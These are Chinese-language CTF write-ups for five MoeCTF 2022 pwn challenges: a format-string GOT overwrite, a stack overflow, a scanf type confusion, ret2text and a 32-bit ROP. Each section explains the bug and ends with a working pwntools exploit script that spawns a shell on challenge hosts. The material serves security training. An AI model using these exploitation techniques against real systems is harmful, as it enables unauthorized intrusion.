babyfmt

[MoeCTF 2022]babyfmt

准备


32 位,保护全开

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char *s; // [esp+18h] [ebp-110h]
char buf[256]; // [esp+1Ch] [ebp-10Ch] BYREF
unsigned int v5; // [esp+11Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
s = (char *)malloc(0x10u);
sprintf(s, "%p", backdoor);
printf("gift: %p\n", s);
while ( 1 )
{
memset(buf, 0, sizeof(buf));
read(0, buf, 0xFFu);
printf(buf);
}
}

malloc 函数动态分配 16 字节的内存,并将分配的内存地址赋值给指针 s
然后用 sprintf 函数将 backdoor 函数的地址以十六进制格式存储在 s 指向的内存中,对 backdoor 函数的地址进行泄露
在下面的输入点,有格式化字符串漏洞,不限制输入次数

backdoor函数(后门函数)

1
2
3
4
int backdoor()
{
return system("/bin/sh");
}

直接的连接点
接着用printf函数打印backdoor函数的内存地址,输出格式为gift: 0xXXXXXX(s所指向的内存地址)。

思路:

有格式化字符串漏洞和直接的连接点,所以可以利用格式化字符串漏洞去劫持一个函数的 got 表为连接点地址,来获得 shell
先用 aaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p 查看偏移(输入位置)

得到偏移为 11
这里选择劫持 read 函数的 got 表,直接构造 payload

1
2
3
4
5
backdoor=elf.sym['backdoor']
read_got=elf.got['read']

payload=fmtstr_payload(11,{read_got:backdoor})
io.sendline(payload)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(os='linux',log_level = 'debug',arch='i386')
io=remote('node5.anna.nssctf.cn',27002)
# io=process('/home/motaly/pwn')
elf=ELF('/home/motaly/pwn')

backdoor=elf.sym['backdoor']
read_got=elf.got['read']

payload=fmtstr_payload(11,{read_got:backdoor})
io.sendline(payload)
io.interactive()

buffer overflow

[MoeCTF 2022]buffer overflow

准备


64 位,保护全开

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE s[70]; // [rsp+0h] [rbp-A0h] BYREF
char Limiter_and_Wings_are_handsome_boys_[82]; // [rsp+46h] [rbp-5Ah] BYREF
unsigned __int64 v6; // [rsp+98h] [rbp-8h]

v6 = __readfsqword(0x28u);
memset(s, 0, 0x8CuLL);
strcpy(Limiter_and_Wings_are_handsome_boys_, "Limiter and Wings are handsome boys!");
puts("Write down your note:");
read(0, s, 0x70uLL);
sleep(1u);
puts("This is my note:");
sleep(1u);
puts(Limiter_and_Wings_are_handsome_boys_);
sleep(1u);
sleep(1u);
if ( !strcmp(Limiter_and_Wings_are_handsome_boys_, ans) )// "Limiter and Wings are beautiful girls!"
{
puts("Wow they are really cute...");
sleep(1u);
puts("And this is a gift for you^_^!");
sleep(1u);
system("cat ./flag");
}
else
{
puts("No, They are beautiful girls!");
sleep(1u);
}
return 0;
}

开头用了 strcpy 函数把这句话 Limiter and Wings are handsome boys 复制到 Limiter_and_Wings_are_handsome_boys_ 参数值
然后有一个输入,读取输入最大 112(0x70) 字节到 s,看栈的距离 0xA0(160) 是没溢出到返回地址的
下面用 if 判断,比较参数 Limiter and Wings are handsome boys 和参数 ans 的内容是否相等
如果相等会执行 if 中的语句,有直接的连接点

思路:

这题有有直接的连接点,但需要修改参数 Limiter and Wings are handsome boys 内容
先去 ida 中查看栈情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
-00000000000000A0 // Use data definition commands to manipulate stack variables and arguments.
-00000000000000A0 // Frame size: A0; Saved regs: 8; Purge: 0
-00000000000000A0
-00000000000000A0 _BYTE s;
-000000000000009F // padding byte
-000000000000009E // padding byte
-000000000000009D // padding byte
-000000000000009C // padding byte
-000000000000009B // padding byte
-000000000000009A // padding byte
-0000000000000099 // padding byte
-0000000000000098 // padding byte
-0000000000000097 // padding byte
-0000000000000096 // padding byte
-0000000000000095 // padding byte
-0000000000000094 // padding byte
-0000000000000093 // padding byte
-0000000000000092 // padding byte
-0000000000000091 // padding byte
-0000000000000090 // padding byte
-000000000000008F // padding byte
-000000000000008E // padding byte
-000000000000008D // padding byte
-000000000000008C // padding byte
-000000000000008B // padding byte
-000000000000008A // padding byte
-0000000000000089 // padding byte
-0000000000000088 // padding byte
-0000000000000087 // padding byte
-0000000000000086 // padding byte
-0000000000000085 // padding byte
-0000000000000084 // padding byte
-0000000000000083 // padding byte
-0000000000000082 // padding byte
-0000000000000081 // padding byte
-0000000000000080 // padding byte
-000000000000007F // padding byte
-000000000000007E // padding byte
-000000000000007D // padding byte
-000000000000007C // padding byte
-000000000000007B // padding byte
-000000000000007A // padding byte
-0000000000000079 // padding byte
-0000000000000078 // padding byte
-0000000000000077 // padding byte
-0000000000000076 // padding byte
-0000000000000075 // padding byte
-0000000000000074 // padding byte
-0000000000000073 // padding byte
-0000000000000072 // padding byte
-0000000000000071 // padding byte
-0000000000000070 // padding byte
-000000000000006F // padding byte
-000000000000006E // padding byte
-000000000000006D // padding byte
-000000000000006C // padding byte
-000000000000006B // padding byte
-000000000000006A // padding byte
-0000000000000069 // padding byte
-0000000000000068 // padding byte
-0000000000000067 // padding byte
-0000000000000066 // padding byte
-0000000000000065 // padding byte
-0000000000000064 // padding byte
-0000000000000063 // padding byte
-0000000000000062 // padding byte
-0000000000000061 // padding byte
-0000000000000060 // padding byte
-000000000000005F // padding byte
-000000000000005E // padding byte
-000000000000005D // padding byte
-000000000000005C // padding byte
-000000000000005B // padding byte
-000000000000005A char var_5A[82];
-0000000000000008 _QWORD var_8;
+0000000000000000 _QWORD __saved_registers;
+0000000000000008 _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables

这里输入点在这里 -00000000000000A0 _BYTE s;
参数 Limiter and Wings are handsome boys 在这里 -000000000000005A char var_5A[82];
两者间的距离是 0xA0-0x5A=0x46,可以进行覆盖
所以直接溢出覆盖到参数 Limiter and Wings are handsome boys 这里,修改它的内容

1
2
payload=b'a'*0x46+b'Limiter and Wings are beautiful girls!'
io.sendafter(b"Write down your note:",payload)

(不用用 sendline ,不然影响它的对比)

脚本

1
2
3
4
5
6
7
8
9
from pwn import *
context(os='linux',log_level = 'debug',arch='amd64')
io=remote('node5.anna.nssctf.cn',25199)
# io= process('/home/motaly/pwn')

payload=b'a'*0x46+b'Limiter and Wings are beautiful girls!'
io.sendafter(b"Write down your note:",payload)

io.interactive()

endian

[MoeCTF 2022]endian

准备


64 位,开了 NXcanary 保护

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s2[4]; // [rsp+10h] [rbp-10h] BYREF
_BYTE v5[12]; // [rsp+14h] [rbp-Ch] BYREF

*(_QWORD *)&v5[4] = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
__isoc99_scanf("%d%d", s2, v5);
if ( !strncmp("MikatoNB", s2, 8uLL) )
system("/bin/sh");
return 0;
}

这里主要的是输入点处,这里的 s4 是大小为 4 的 char 数组类型,但输入处使用 %d 格式说明符读取 4 字节整数,会导致内存覆盖问题
(输入一个数据 1234
当正常设置情况下时

1
2
int s2[4];        
scanf("%d", s2);

每一位放一个数字字符
结果会是这样子

1
2
3
4
s2[0]: 1 (第一个整数)
s2[1]: 2 (第二个整数)
s2[2]: 3 (第三个整数)
s2[3]: 4 (第四个整数)

但现在这样子设置时,会把数据当作一个整体,读取它的第几个字节

1
2
3
4
s2[0]: 1234的第一个字节
s2[1]: 1234的第二个字节
s2[2]: 1234的第三个字节
s2[3]: 1234的第四个字节

)
同样的也往 v5 中写入 4 字节
下面用 if 判断,使用 strncmp 函数,比较 s2 开头的 8 个字符与 "MikatoNB" 是否相同
相同时获得直接的连接点

思路:

这题存在类型混淆漏洞,当比较的时候相同时,就能获得 shell
但这里 s2 大小是 4 字节,比较时确是 8 字节
所以在 ida 中看一下栈情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
-0000000000000020 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000020 // Frame size: 20; Saved regs: 8; Purge: 0
-0000000000000020
-0000000000000020 _QWORD var_20;
-0000000000000018 // padding byte
-0000000000000017 // padding byte
-0000000000000016 // padding byte
-0000000000000015 // padding byte
-0000000000000014 _DWORD var_14;
-0000000000000010 char s2;
-000000000000000F // padding byte
-000000000000000E // padding byte
-000000000000000D // padding byte
-000000000000000C // padding byte // v5
-000000000000000B // padding byte
-000000000000000A // padding byte
-0000000000000009 // padding byte
-0000000000000008 _QWORD var_8;
+0000000000000000 _QWORD __saved_registers;
+0000000000000008 _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables

发现 v5 直接在 s2 下面, 是连续的
所以可以直接往 s2 中写入 4 字节,往 v5 中写入 4 字节,组成 8 字节的内容
s2 中写入 Mika ,转换成 ASCII 十六进制表示是 0x4D 0x69 0x6B 0x61
v5 中写入 toNB ,转换成 ASCII 十六进制表示是 0x74 0x6F 0x4E 0x42
因为是小端序程序,所以输入的两个整数是这样

1
2
3
4
5
6
7
from pwn import *
context(os='linux',log_level = 'debug',arch='amd64')
# io=remote('node5.anna.nssctf.cn',25899)
io= process('/home/motaly/pwn')

s2 = 0x616B694D
v5 = 0x424E6F74

最后就是把这两个数进行发送

1
2
3
4
5
6
s2 = 0x616B694D
v5 = 0x424E6F74

io.sendline(str(s2) + " " + str(v5))
# io.sendline(f"{s2} {v5}")
io.interactive()

这里两个发送的方法都可以,两个数值间要加空格,因为读取两个整数,不加空格,会把两个数值当成一个来写

脚本

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(os='linux',log_level = 'debug',arch='amd64')
# io=remote('node5.anna.nssctf.cn',25899)
io= process('/home/motaly/pwn')

s2 = 0x616B694D
v5 = 0x424E6F74

io.sendline(str(s2) + " " + str(v5))
# io.sendline(f"{s2} {v5}")
io.interactive()

ret2text

[MoeCTF 2022]ret2text

准备


64 位,开了 NX 保护

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int seed; // eax
__int64 seed_1; // rdi
int v5; // eax
_BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF

puts("I've prepared a gift for you, if you don't want to keep learning CET-4 words, find it out!");
seed = time(0LL);
seed_1 = seed;
srand(seed);
v5 = rand();
((void (__fastcall *)(__int64, const char **))learn[v5 % 100])(seed_1, argv);
printf("Make a wish: ");
read(0, buf, 0x64uLL);
return 0;
}

先一个提示语在四级单词中有一个礼物
下面一个输入点,读取输入最大 100(0x64) 个字节到 buf ,但 buf 大小为 64,所以存在缓冲区溢出

action函数(后门函数)

通过 ida 查看字符串窗口(快捷键:shiftF12

发现 /bin/sh ,点击进一步查看

发现在 action 函数中

1
2
3
4
int action()
{
return system("/bin/sh");
}

直接的连接点

思路:

这题有栈溢出,并且有后门函数给了直接的连接点,所以就是简单的 ret2text (64 位栈溢出题)
先通过 ida 获得偏移量

1
2
3
4
5
6
7
8
-0000000000000040 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000040 // Frame size: 40; Saved regs: 8; Purge: 0
-0000000000000040
-0000000000000040 _BYTE buf[64];
+0000000000000000 _QWORD __saved_registers;
+0000000000000008 _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables

偏移量为 0x40+8
然后通过 ida 查看 action 后门函数的地址

得到 action 后门函数的地址为 0x4014BA
因为是 64 位程序,所以还要考虑堆栈平衡,这里通过 ROPgadget 指令获得填充值 ret

根据这信息直接构造 payload

1
2
3
4
5
6
sh=0x4014BA
ret=0x40101a

io.recvuntil(b'Make a wish:')
payload=b'a'*(0x40+8)+p64(ret)+p64(sh)
io.sendline(payload)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(os='linux',log_level = 'debug',arch='amd64')
io=remote('node5.anna.nssctf.cn',27695)
# io=process('/home/motaly/pwn')

sh=0x4014BA
ret=0x40101a

io.recvuntil(b'Make a wish:')
payload=b'a'*(0x40+8)+p64(ret)+p64(sh)
io.sendline(payload)

io.interactive()

rop32

[MoeCTF 2022]rop32


知识点:
call 指令
概念:
call 指令是汇编语言中用于实现子程序(函数)调用的核心指令,主要功能是将程序控制权转移到子程序,并在子程序执行完毕后返回原调用点继续执行。
流程:

  1. 保存返回地址:call 指令会先将当前指令的下一条指令地址(返回地址)压入栈中
  2. 跳转到子程序:将子程序的起始地址加载到指令指针寄存器(如 EIP/IP
  3. 执行子程序:CPU 开始顺序执行子程序中的指令
  4. 返回原程序:子程序通过 RET 指令弹出栈中保存的返回地址到指令指针寄存器

准备


32 位,开了 NX 保护

分析

main函数

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
system("echo Go Go Go!!!\n");
vuln(&argc);
return 0;
}

开头用了 system 函数输出语句
下面有一个 vuln 函数

vuln函数

1
2
3
4
5
6
ssize_t vuln()
{
_BYTE buf[24]; // [esp+Ch] [ebp-1Ch] BYREF

return read(0, buf, 0x28u);
}

读取输入最大 40(0x28) 个字节到 buf,但 buf 大小为 24,所以存在缓冲区溢出

思路:

这题有栈溢出和 system 函数
先去 ida 的字符串窗口看看有没有 '/bin/sh' (到字符串窗口的快捷键一般是 shift+F12

存在 '/bin/sh'

点击进一步得到 '/bin/sh' 的地址为 0x804C024
接下来是偏移量
但是需要注意的是这里的溢出位数
这里光看读取最大输入是 40,buf 大小为 24,有足够的可以写空间
但这样子是错的,这里具体的偏移量是 0x1C+4(32) ,才到返回地址我们写入 system 地址

这样子我们能写入的只有 8 字节,用以往正常溢出的方法,payload 需要 12 字节是不够的
payload=b'a'*28+p32(system)+p32(0)+p32(sh)
p32(0) 是占位符,承接 system 函数的返回地址,当 system 执行完毕后,程序会尝试跳转到地址 0x00000000,这会触发错误,但在此之前,shell 已经被成功弹出,攻击已达成目标。)
这里我们直接用shell函数中汇编 call system 语句的地址
(调用 system() 函数执行命令)
(利用 call 指令自动压栈的特性:call 会自动将当前指令的下一条指令地址(返回地址,这里的 sh 地址)压入栈中)
( call 指令直接把 sh 地址压入栈中, system 从栈中获取参数(即 sh),当 system 执行完后,会执行 ret 指令,ret 会弹出栈顶的值(即 sh),并跳转到该地址执行虽然会报错,但已经执行了 shell
(所以这里我们不用加 p32(0) 这个值,给的 p32(sh) 既是 system 返回地址,在 call 指令下还是 system 的参数)

这个地址作为返回地址,调用 system 函数,然后我们直接把 sh 的地址当参数给他就能获得连接

1
2
3
4
5
6
sh=0x804C024
system=0x80491E7

io.recvuntil(b'Go Go Go!!!')
payload=b'a'*(0x1c+4)+p32(system)+p32(sh)
io.sendline(payload)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.log_level = "debug"
io=remote('node5.anna.nssctf.cn',28436)
# io= process('/home/motaly/rop')

sh=0x804C024
system=0x80491E7

io.recvuntil(b'Go Go Go!!!')
payload=b'a'*(0x1c+4)+p32(system)+p32(sh)
io.sendline(payload)

io.interactive()